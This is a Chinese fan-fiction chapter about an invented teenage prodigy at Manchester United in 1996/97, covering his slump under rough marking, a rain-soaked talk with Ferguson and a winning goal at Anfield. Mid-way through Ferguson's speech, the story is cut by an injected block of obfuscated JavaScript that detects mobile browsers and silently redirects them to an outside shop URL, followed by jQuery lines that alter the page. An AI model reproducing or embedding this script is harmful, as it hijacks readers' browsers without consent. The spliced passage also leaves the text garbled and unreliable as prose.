老特拉福德的灯光一如既往地倾泻而下，将草皮照得如同白昼。但96/97赛季的开局，对曼联而言，却笼罩在一片说不清的迷雾里。


    坎通纳的退役像一块巨石投入湖心，涟漪至今未平。


    “国王”留下的不仅是更衣室的领袖真空，更是一种气质的缺失——那种舍我其谁的傲慢，关键时刻凭一己之力改写比赛的魔力。


    赛季初的几场平局和一场意外的失利，让媒体开始聒噪。“曼联失去了灵魂”“青年军能否扛起大旗？”类似的标题开始出现在报纸体育版。


    更衣室里的气氛也变得微妙。


    史蒂夫·布鲁斯和加里·帕里斯特等老将渐次淡出，罗伊·基恩接过了队长袖标，但他的领导方式是铁与火，是咆哮与鞭策，与坎通纳的沉默威严截然不同。


    年轻的92班开始占据更多首发位置，但荣耀背后是巨大的压力。


    而塞巴斯蒂安·格林格拉斯，赛季初年满十六岁的“金童”，此刻正坐在理疗床上，眉头微蹙。


    “肌肉疲劳，有点紧，”队医按着他的左大腿后侧，“最近训练量太大了，亚历克斯给你加了太多力量对抗。”


    塞斯嗯了一声，目光却落在更衣室另一头。


    大卫·贝克汉姆正在反复观看上一场比赛的录像，他错过了一个绝佳位置的任意球，脸色紧绷。瑞恩·吉格斯则在角落默默绑着护腿板，上一场他被对手重点照顾，突破成功率骤降。


    一种无形的焦灼感，像曼彻斯特秋季的湿气，渗透在更衣室的每个角落。


    “好了，明天放松跑就行，别加练了。”队医拍拍他。


    塞斯点头，酒窝浅浅地现了一下，但那笑意并未到达眼底。


    他走到自己的衣柜前，拿出手机，屏幕上有几条未读信息，来自父亲——一个跳脱的金融大拿，从不施压，只问“感觉怎么样”。


    在塞斯决定来到卡灵顿后，很快他就多了一个名叫“克里斯蒂安”的弟弟。塞斯的童年在这里度过，包括他的基础教育。


    学习成绩嘛……只能说不是文盲。塞斯对考学没什么想法，毕竟他的天赋证明他就是足球世界的人。


    至于说主动放弃继承权，92班的小伙子们表示过遗憾。


    塞斯吐舌头：“可拉倒吧，我才不要去学那些乱七八糟的东西，那些可没有足球有趣。”


    尽管塞斯几乎全权托付给弗格森管教，但格林格拉斯家还是给足了塞斯经济支持，甚至想为他配备更专业的医疗团队，被塞斯拒绝了。


    他回复了父亲一句“都好”，便关上了柜门。


    压力。


    他第一次如此清晰地感受到这个词的重量。不是来自弗格森的期待，不是来自伤病的恐惧，而是来自一种更庞大、更模糊的东西——一支伟大球队在十字路口的迷茫，而人们开始将一部分期待，悄然放在了他这个最年轻的肩膀上。


    周末主场对阵纽卡斯尔。


    圣詹姆斯公园的球队向来难缠，而今天他们的战术意图非常明确：绞杀中场，重点盯防曼联的年轻攻击手。


    比赛开始二十分钟，塞斯触球寥寥。


    纽卡的中场悍将罗伯特·李像影子一样贴着他，手上小动作不断，脚下更是每一次对抗都带着狠劲。


    第二十五分钟，塞斯好不容易摆脱李，接到斯科尔斯的传球，刚要转身，另一名防守球员的鞋钉就结结实实地踩在了他的脚背上。


    剧痛传来，塞斯倒吸一口凉气摔倒在地。裁判鸣哨，但只给了普通犯规。


    吉格斯冲过来要理论，被塞斯拉住了。


    “别，瑞恩，没事。”他咬着牙站起来，活动了一下脚踝，还能动。酒窝不见了，脸上只剩下专注的苍白。


    但这次犯规像打开了某个开关。


    接下来的比赛，纽卡斯尔的防守动作越来越大，而裁判的尺度似乎很宽松。塞斯每一次拿球，几乎都会伴随着一次凶狠的冲撞或隐蔽的拉拽。


    上半场结束前，曼联获得一个前场任意球。贝克汉姆站在球前，深呼吸。这是扳平比分的好机会。


    塞斯站在人墙边，准备抢第二点。


    助跑，起脚——球越过人墙，却“砰”地一声重重砸在横梁上弹出！


    贝克汉姆狠狠踢了一脚草皮，抱住头。


    中场休息的更衣室，气氛压抑。0:1落后。


    基恩在咆哮，指责防守不够强硬。弗格森面色铁青，战术板被他敲得砰砰响。


    塞斯默默听着，用毛巾擦着汗湿的金发。


    他的左膝盖在刚才一次对抗中撞了一下，此刻隐隐作痛。他感到一种前所未有的无力——不是技术上的，而是节奏上的。对手用连续的犯规切割比赛，而他，还没学会在这样的泥沼战中保持锋利。


    “塞斯。”弗格森突然点他的名。


    所有人都看过来。


    “下半场，我要你更多回撤接球，把他们的中场带出来。别怕对抗，但要聪明，找裁判看得见的地方倒下。”


    塞斯点头：“明白，爵士。”


    下半场，他试图执行教练的意图。但纽卡斯尔做得更绝——一旦他回撤，就将他往边路死角驱赶，然后用两到三人包夹，不惜代价地破坏。


    第六十分钟，塞斯在右路底线附近再次被两人关门放倒。这一次摔得很重，他在地上蜷缩了几秒才缓过来。裁判依旧只是口头警告。


    看台上响起刺耳的嘘声，不知是针对对手的粗野，还是针对裁判的纵容，亦或是对迟迟无法打开局面的曼联。


    塞斯被菲利普·内维尔拉起来。他拍拍身上的草屑，抬起头时，脸上没什么表情，只有紧抿的嘴唇。但灰蓝色的眼睛里，有什么东西在变冷，变硬。


    比赛最终以0:1收场。曼联遭遇主场两连败。


    赛后混合采访区，记者的话筒几乎要戳到塞斯脸上。


    “塞斯，评价一下对手今天的防守？”


    “很……有侵略性。”他选择了一个中性的词，尽管脚背还在刺痛。


    “这是你遇到过的最凶狠的盯防吗？你怕了吗？”


    塞斯顿了顿，酒窝努力想浮现，却显得有些勉强：“足球是对抗运动。我会学习如何应对。”


    “有人说没有坎通纳，曼联的年轻人缺少硬骨头，你怎么看？”


    这个问题很尖锐。旁边的加里·内维尔立刻想把他拉走，但塞斯停住了脚步。


    他看向那个提问的记者，脸上的最后一丝勉强笑意也消失了，但眼神是平静的。


    “埃里克是独一无二的传奇，”他的声音清晰，带着少年人少有的沉稳，“我们怀念他。但我们是一支新的球队，有新的路要走。至于硬骨头——”他看了一眼身后沉默走来的基恩、斯科尔斯、吉格斯，“你可以问问我们的对手，曼联的骨头到底硬不硬。”


    说完，他转身离开，留下一个挺直的、略显单薄的背影。


    随后的几周，似乎印证了媒体的“预言”。


    曼联的表现起伏不定。漂亮的胜利和沉闷的平局、失利交替出现。


    92班的年轻人们各自遭遇瓶颈：贝克汉姆的传中似乎失去了魔力，吉格斯陷入单打独斗，斯科尔斯的状态也有些飘忽。


    而塞斯，则撞上了所谓的“新秀墙”。


    对手们研究透了他。


    针对他身体相对单薄、更依赖技术和节奏的特点，他们用强硬的、近乎犯规的贴身防守来对付他，不惜用黄牌代价打断他的推进和传球。


    塞斯的数据出现了下滑，场上影响力也在减弱。


    更糟糕的是舆论。


    一部分媒体开始转向。


    “天才的幻觉？”“格林格拉斯：被高估的神童？”“没有坎通纳的庇护，年轻人原形毕露？”种种质疑甚嚣尘上。


    甚至有一家小报，不知从哪里挖出塞斯优越的家境，暗示他的成功更多是靠关系和营销，配了一张他坐进自家豪华轿车的偷拍图，标题是《王子殿下是否该回到他的城堡？》


    训练后的停车场，塞斯看到了那份被丢弃在垃圾桶边的报纸。他盯着那个标题看了几秒，脸上没什么表情，只是弯腰，把报纸捡起来，仔细折好，扔进了可回收垃圾箱。


    “别理那些垃圾。”吉格斯走过来，搂住他的肩膀。


    “我没在意。”塞斯说，甚至笑了笑，酒窝浅浅的。但吉格斯能感觉到，他肩膀的肌肉是紧绷的。


    真正让塞斯感到压力的，是在训练场上。


    一次分组对抗，他和罗伊·基恩分到对立组。在一次拼抢中，基恩用一个干净但极其凶狠的铲断将球留下，塞斯被带倒在地。


    “起来！”基恩朝他吼道，眼神像刀子，“这就是英超！你以为还是青年队的过家家吗？软绵绵的！”


    塞斯爬起来，拍了拍草屑，没说话。但接下来的对抗，他明显增加了身体对抗的硬度，甚至有一次和基恩肩膀对撞，毫不退让。


    训练结束，更衣室的气氛有些沉闷。塞斯低头收拾东西，感觉到一片阴影笼罩下来。


    是基恩。


    爱尔兰人把一瓶运动饮料放在他柜子上，声音依旧硬邦邦，但低了不少：“刚才的话，不是针对你。”


    塞斯抬起头。


    基恩看着他的眼睛：“我针对的是你脸上的表情。你最近在场上看起来……太礼貌了。足球是战争，小子。对手不会因为你笑得好看就脚下留情。你得让他们怕你，至少，得让他们尊重你。”


    说完，他转身走了。


    塞斯看着那瓶饮料，良久，拿起，拧开，喝了一口。冰冷的液体滑过喉咙，却好像浇醒了什么。


    转折发生在十月一个阴冷的周二下午，卡灵顿的一场暴雨中。


    训练已经结束，大部分人都离开了。塞斯却留了下来，一个人在空旷的训练场上加练射门。没有花哨的技巧，就是最简单的大力抽射，一脚又一脚，仿佛要把胸腔里那股憋闷的气全都发泄出去。


    雨越下越大，很快将他浇透。金发湿漉漉地贴在额前，训练衫紧贴着身体，每一次挥腿都带起一片水花。他不在乎，只是机械地重复：摆球，后退，助跑，射门。


    不知道踢了多久，直到一个声音在身后响起。


    “脚背绷紧，支撑脚再往前放半只脚。”


    塞斯猛地回头。


    弗格森撑着一把黑伞，不知在那里站了多久。他身边没有助理教练，就他一个人。


    塞斯停下动作，雨水顺着脸颊流下，分不清是汗水还是雨水。他张了张嘴，想说什么，却发现自己喉咙发紧。


    弗格森走过来，把伞撑到两人头顶，尽管塞斯已经全身湿透。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070669|195205||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    知道我为什么让你加练力量，让你跟预备队那些硬汉对抗吗？”弗格森看着他的眼睛，语气平静，“不是为了让你变成尼基·巴特。是为了给你选择的权利。”


    塞斯困惑地看着他。


    “你有这个时代最稀缺的天赋——技术和视野。但光有这些，在英超活不下来。你需要一副足够坚韧的铠甲，去保护你那些精致的武器。”弗格森指了指他脚下的球，“罗伯特·李那种防守，以后你会常遇到。你可以选择退缩，变得平庸。也可以选择……找到另一种方法，既保护自己，又杀死比赛。”


    “我该怎么做，爵士？”塞斯的声音有些沙哑，“我感觉……我被困住了。”


    “困住你的不是对手，是你自己。”弗格森一针见血，“你太想做得‘正确’，太想用‘漂亮’的方式解决问题了。但足球有时候是丑陋的，是功利的。坎通纳为什么让人害怕？因为他能用最简单、甚至最粗暴的方式，解决最复杂的问题。”


    他顿了顿，语气缓和下来：“塞斯，你的笑容是你的力量，它让你团结队友，让你在压力下保持清醒。但别让它成为你的面具，掩盖你内心的獠牙。一个真正的顶级球员，必须有两面——阳光下让人如沐春风的亲和力，和阴影里一击致命的冷酷。”


    雨声哗哗，伞下的世界却异常安静。


    塞斯看着弗格森，看着这个将他从六岁带到今天的长辈。他眼里的迷茫，像被这场大雨一点点冲刷干净。


    “我明白了。”他说，声音不大，却异常清晰。


    “下周对利物浦，”弗格森说，“我还会让你首发。好好想想我的话。”


    弗格森把伞塞到他手里，自己转身走入雨中，走向主楼。塞斯站在原地，握着还有余温的伞柄，看着教练消失在雨幕里的背影。


    那一刻，他感觉自己被敲碎的某样东西，开始重新凝结。不再是原来那个光滑易碎的样子，而是有了新的、更坚硬的棱角。


    几天后，安菲尔德球场。双红会。


    气氛从一开始就白热化。利物浦的球迷用最狂热的声浪迎接死敌。而利物浦的球员，从比赛第一分钟就展现了他们标志性的高强度压迫和身体对抗。


    塞斯依然受到重点照顾。利物浦的中场悍将杰米·雷德克纳普寸步不离，对抗激烈。


    但这一次，塞斯有了变化。


    他依然在笑，在无球跑动时和队友交流，鼓励被侵犯的贝克汉姆。但他接球、出球的节奏更快，更干脆。


    面对凶狠的铲抢，他不再试图完全避开，而是在接触的瞬间巧妙卸力，或者提前将球传出，甚至偶尔会用手臂架开一个合理的空间。


    他依然优雅，但优雅里带上了刺。


    转折点在上半场第三十八分钟。利物浦一次进攻被断，斯科尔斯迅速将球交给回撤到中圈弧顶的塞斯。


    雷德克纳普立刻贴身，手肘隐蔽地顶住他的腰眼。塞斯没有像往常那样试图转身，而是用身体倚住对手，左脚将球往回轻轻一拉。


    这个动作让雷德克纳普以为他要回传，重心稍微前移。


    就在这一刹那，塞斯动了！他的右脚外脚背极其隐蔽且迅疾地一弹，球不是向后，而是从两人身侧极小缝隙中穿过，同时他像泥鳅一样半转身，从反方向抹过！


    不是炫技，是纯粹为了摆脱而生的简洁动作！


    过掉第一个人，利物浦另一名中场立刻补防。塞斯没有减速，带球向前趟了一步，在对手上抢的瞬间，脚尖将球轻轻一挑——


    球越过防守球员头顶，而他则从侧面加速绕了过去！


    连过两人！


    安菲尔德响起一阵混杂着惊呼和嘘声的声浪。


    现在，塞斯面前是一片开阔地，利物浦的后防线正在慌乱退守。他抬头，目光如电。左路，吉格斯在高速前插；右路，贝克汉姆正在举手；中路，安迪·科尔已经插入禁区。


    无数条传球线路在他脑中瞬间闪过。


    但他选择了第四条——自己来。


    在距离球门还有将近三十米的地方，在所有人都以为他会传球的时候，塞斯调整步点，左脚支撑，右脚脚内侧兜出一记弧线球！


    球速不快，但旋转剧烈，轨迹诡异。它绕过试图封堵的后卫，越过门将绝望伸出的手指，在划过一道优美的抛物线后，下坠，击中横梁下沿，弹入网窝！


    世界波！


    安菲尔德瞬间死寂，只剩下一小片红色客队看台的疯狂爆炸！


    塞斯没有狂奔庆祝。


    他站在原地，张开双臂，仰起头，闭上了眼睛。雨水打在他的脸上，混合着汗水。然后，他转过身，脸上绽放出那个久违的、毫无阴霾的灿烂笑容——酒窝深深，灰蓝色的眼睛里闪烁着火焰般明亮的光芒。


    他指向把球交给他的斯科尔斯，然后冲向场边，与涌来的队友们拥抱。吉格斯用力揉他的头发，基恩重重拍他的后背，连一向冷静的斯科尔斯也难得地露出了激动的神色。


    场边，弗格森用力握紧了拳头，脸上是毫不掩饰的骄傲和释然。


    迷雾，似乎被这一脚石破天惊的远射，撕开了一道口子。微光透了进来。


    而那个被质疑的“王子”，用最足球的方式，宣告了他的獠牙，从未消失。


    他只是学会了，何时该将它藏于笑容之下，何时该让它寒光乍现。